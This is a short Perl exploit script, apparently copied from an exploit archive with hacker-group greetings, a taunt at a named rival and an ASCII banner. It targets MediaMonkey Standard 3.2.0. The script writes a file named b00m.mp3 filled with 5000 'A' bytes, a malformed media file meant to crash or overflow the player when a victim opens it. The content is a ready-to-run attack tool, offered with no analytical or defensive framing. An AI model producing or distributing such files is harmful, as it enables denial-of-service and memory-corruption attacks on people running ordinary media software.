20 lines
No EOL
954 B
Perl
Executable file
20 lines
No EOL
954 B
Perl
Executable file
# Download : http://download.cnet.com/MediaMonkey-Standard/3000-2141_4-10109807.html
|
|
# Author: Red-D3v1L
|
|
## sh0otz fly t0 : j0rd4n14n.r1z,H1s0k4,ThE-g0bl!N,T3rr0rist,zAx,dr@g,h311 c0d3 And All sEc-r1z CrEw#
|
|
# n00bz : Zombie_KSA g0t 0wn3d hehehe n00b pakbugs zf0 ...
|
|
# Version: 3.2.0
|
|
# my Home : www.sec-r1z.com , sEc-r1z CrEw#
|
|
#!/usr/bin/perl
|
|
system ("color a");
|
|
print "./SEC-R1Z_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _\n";
|
|
print " / / _ _ \\ / __ _\ / _ _ /\\ \ < |/_ _ _ _ /\n";
|
|
print " \\ \\ _ _\\__ / /_ _ / / __ | () / | | / /\n";
|
|
print " \\ \__ _ \\ / /_ _ / / |__| | / | | / /\n";
|
|
print " _ _ _ _ \\/ / \/2_0_1_0 | \\\ | | / /_____ \n";
|
|
print " /_ _ _ _ / \_ _ _ /\ _ _ _ / |__|\ __\ |__| /___\\/J0_ _____./str1k3z y0u!!\n";
|
|
###################################
|
|
my $r1z= "b00m.mp3";
|
|
my $boom="\x41" x 5000;
|
|
open(myfile,'>>b00m.mp3');
|
|
print myfile $boom;
|
|
print "[+] d0nE\n"; |